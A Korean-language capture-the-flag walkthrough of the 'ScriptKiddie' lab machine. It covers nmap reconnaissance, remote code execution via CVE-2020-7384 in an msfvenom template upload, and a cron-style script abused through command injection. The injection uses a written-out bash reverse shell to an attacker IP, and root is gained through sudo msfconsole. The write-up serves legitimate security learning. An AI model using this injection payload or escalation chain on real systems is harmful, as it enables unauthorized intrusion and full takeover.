Machine Summary
ScriptKiddie is easy linux machine that dealing with CVE-2020-7384 공격자는 타겟 호스트 웹서버에서 msfvenom을 실행할 수 있는데, 이 때 msfvenom 템플릿을 업로드해 명령 인자로 함께 사용할 수 있습니다. 공격자는 템플릿에 악성코드를 주입해 타겟 서버에서 RCE가 가능하며, 이후 커맨드 인젝션을 통해 pwn 유저로의 권한 상승이 가능하고, 마지막으로 sudo를 악용해 루트 권한을 획득합니다
Recon
nmap 10.129.95.150 -p- -Pn -n --min-rate 5000 > nmap_result
cat nmap_result
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-11 02:11 +0900
Nmap scan report for 10.129.95.150
Host is up (0.065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp- 타겟의 22, 5000번 포트가 열려있는 걸 확인할 수 있습니다.
-sC -sV옵션을 통해 정밀 스캔을 진행합니다.
nmap 10.129.95.150 -sC -sV -Pn -n -p 22,5000 > nmap_detail
cat nmap_detail
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-11 02:11 +0900
Nmap scan report for 10.129.95.150
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.32 seconds5000번 http 포트가 열려있는 걸 확인할 수 있습니다. Werkzeug의 버전까지 nmap을 통해 확인했으니, exploitDB에 공개된 취약점이 있는지 검색을 진행해 보겠습니다.
searchsploit Werkzeug

몇몇의 Exploit이 확인되지만, 현재 버전인 0.16.1과는 맞지 않습니다. 우선 HTTP 웹을 방문해 보도록 하겠습니다
HTTP

사용자의 입력값을 인자로 받아, nmap, msfvenom, searchsploit을 실행시키는 것 같습니다.
sploits 필드에 ;id, && id로 커맨드 인젝션을 시도해 보았지만, 필터링되어 작동하지 않습니다.

payloads 탭의 template file (optional)이 눈에 띕니다. msfvenom malicious template, CVE-2020-7384 exploit 등의 키워드로 구글링을 조금 해보면, 다음 PoC를 찾을 수 있습니다.
Initial Foothold

┌──(kali㉿kali)-[~/Downloads/labs/ScriptKiddie]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.146] from (UNKNOWN) [10.129.95.150] 35512
bash: cannot set terminal process group (935): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$ id
id
uid=1000(kid) gid=1000(kid) groups=1000(kid)Shell as pwn
pwn 유저의 홈디렉터리를 보면, scanlossers.sh스크립트가 보입니다. 읽기 권한이 있으므로 내용을 확인해 보겠습니다.
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
/home/kid/logs/hackers문서의 데이터를 읽어 nmap을 스캔하는 스크립트로 보입니다.
웹서버 app.py의 소스코드에서 hackers 파일에 데이터가 언제 쓰여지는지 확인 할 수 있습니다.
kid@scriptkiddie:~/html$ cat app.py
<SNIP>
regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')
...
def searchsploit(text, srcip):
if regex_alphanum.match(text):
result = subprocess.check_output(['searchsploit', '--color', text])
return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
else:
with open('/home/kid/logs/hackers', 'a') as f:
f.write(f'[{datetime.datetime.now()}] {srcip}\n')
return render_template('index.html', sserror="stop hacking me - well hack you back")
<SNIP>웹의 sploits부분에 알파벳 대소문자 및 숫자값이 아닌 입력값이 들어오면, 이를 hackers 파일에 기록하는 것 같습니다만, 우린 그럴 필요 없이 hackers 파일에 직접 값을 쓸 수 있습니다.
kid@scriptkiddie:~/logs$ ls -al
total 20
drwxrwxrwx 3 kid kid 4096 Apr 10 18:18 .
drwxr-xr-x 11 kid kid 4096 Apr 10 17:48 ..
-rw-rw-r-- 1 kid pwn 0 Apr 10 18:28 hackers우리의 목표는, hackers에 특정 값을 넣어 해당 값이 필터링 된 이후에 pwn 유저의 권한으로 실행되어 쉘을 획득하는 것입니다. 페이로드는 다음과 같습니다.
kid@scriptkiddie:~/logs$ cat payload.txt
1 2 ;bash -c "bash -i >&/dev/tcp/10.10.14.146/9001 0>&1" #
kid@scriptkiddie:~/logs$ cat payload.txt >> hackers리스닝하고 있던 칼리에서 pwn 유저의 권한으로 쉘을 획득합니다
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.146] from (UNKNOWN) [10.129.95.150] 42676
bash: cannot set terminal process group (833): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ Shell as Root
pwn 유저는 sudo msfconsole 이 가능합니다.
pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsolemsfconsole은, 실행한 뒤 일반 쉘처럼 사용할 수 있습니다.
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole
msf6 > id
[*] exec: id
uid=0(root) gid=0(root) groups=0(root)
msf6 > /bin/bash -p
[*] exec: /bin/bash -p
root@scriptkiddie:/home/pwn#플래그는 /home/kid/user.txt 및 /root/root.txt 에서 확인할 수 있습니다.
